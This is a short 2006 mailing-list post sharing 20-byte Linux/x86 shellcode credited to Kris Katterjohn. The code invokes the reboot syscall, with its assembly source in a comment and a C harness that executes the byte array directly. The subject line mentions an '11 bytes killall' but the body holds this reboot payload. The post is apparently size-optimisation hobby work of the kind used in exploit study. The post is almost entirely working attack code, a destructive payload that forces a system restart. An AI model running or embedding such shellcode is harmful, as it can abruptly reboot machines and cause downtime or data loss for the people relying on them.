[Code-Crunchers] 11 bytes killall

Gadi Evron ge at linuxbox.org
Wed Nov 15 07:22:17 CST 2006


Another one..

/* By Kris Katterjohn 11/11/2006
 *
 * 20 byte shellcode to reboot the system for Linux/x86
 *
 *
 *
 * section .text
 *
 *	global _start
 *
 * _start:
 *
 *	push byte 88
 *	pop eax
 *	mov ebx, 0xfee1dead
 *	mov ecx, 672274793
 *	mov edx, 0x1234567
 *	int 0x80
 */

main()
{
	char shellcode[] =
		"\x6a\x58\x58\xbb\xad\xde\xe1\xfe\xb9\x69"
		"\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80";

	(*(void (*)()) shellcode)();
}





More information about the Code-Crunchers mailing list